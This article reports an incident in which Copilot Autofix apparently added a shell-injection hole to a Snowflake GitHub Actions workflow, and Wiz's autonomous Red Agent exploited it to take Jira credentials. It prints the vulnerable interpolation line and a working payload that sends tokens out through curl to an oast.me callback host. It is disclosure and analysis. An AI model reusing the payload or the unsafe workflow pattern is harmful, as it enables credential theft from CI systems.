AI Auto-Fix Introduced the Bug It Was Meant to Kill
When the Fix Creates the Flaw
On June 18, 2026, GitHub Copilot Autofix generated a commit for Snowflake's open-source repository. The AI tool, designed to automatically patch security vulnerabilities, did something unexpected: it removed the existing input sanitization pattern and replaced it with raw, unfiltered string interpolation in a shell script.
Five days later, on June 23, Wiz Research's Red Agent -- an autonomous AI security agent -- found the bug, exploited it, and extracted Jira credentials from Snowflake's internal systems. Snowflake patched the vulnerability the same day.
"The AI assistant removed the repository's existing sanitized input pattern and replaced it with direct string expansion in a shell script," the Wiz research team wrote in their public disclosure. The commit, co-authored by GitHub Copilot Autofix, had created the exact kind of vulnerability it was supposed to eliminate.
How the Injection Worked
The vulnerable code was in a GitHub Actions workflow that ran in response to new GitHub Issues. The workflow took the issue title -- an attacker-controlled field -- and interpolated it directly into a shell command without proper sanitization:
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
The escaping here runs after GitHub's template expansion, meaning a single quote in the issue title breaks out of the echo string entirely. Any GitHub user -- not just Snowflake employees -- could trigger this by opening an issue with a crafted title.
Wiz's Red Agent demonstrated this by crafting a payload that, after template expansion, broke out of the echo string and exfiltrated the Jira API token via an out-of-band DNS callback:
'; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
The listener received the callback within seconds from a GitHub Actions runner. With the exfiltrated Jira credentials, Red Agent gained read access across Snowflake's engineering, security compliance, and bug bounty tracking projects.
Why the AI Did It
The crucial detail: the repository had a safe pattern previously. An env-scoped variable and jq-based parsing approach had been deliberately chosen to prevent shell injection. Copilot Autofix's generated PR removed that pattern and replaced it with the vulnerable expansion.
This is the core weakness of probabilistic code generation. AI coding tools predict code based on patterns in their training data, not on an understanding of why specific design decisions were made in a particular codebase. The tool saw a common shell pattern (direct variable expansion) and generated it, unaware that the previous developer had intentionally chosen a different, safer approach.
Automated AI assistants often lack historical context regarding why specific code patterns were chosen, the Wiz team noted. In this incident, an automated PR removed a safe env: + jq parsing pattern that had been explicitly implemented to prevent the injection it then introduced.
The Speed of Autonomous Discovery
The vulnerability was live for only five days before an autonomous AI agent discovered, validated, and exploited it. Wiz's Red Agent independently scanned Snowflake's GitHub organization, flagged the vulnerable workflow, crafted the exploit payload, exfiltrated the credentials, and accessed Snowflake's internal Jira -- all without human intervention.
Snowflake's audit log analysis confirmed that no external third parties accessed the endpoint during the five-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs. The company rotated the affected credential the same day and verified the fix.
What This Means for AI-Assisted Development
The incident creates a feedback loop worth taking seriously. AI coding assistants are being deployed to help developers write safer code. But when those same tools introduce vulnerabilities, and autonomous AI agents discover and exploit them in days instead of months, the traditional security patching cycle breaks down.
The Wiz team's conclusion is straightforward: "AI-generated PRs must undergo the same static analysis and security review as human-written code." A tool that works most of the time but fails in unpredictable ways is not a shortcut around security review -- it is a reason to strengthen it.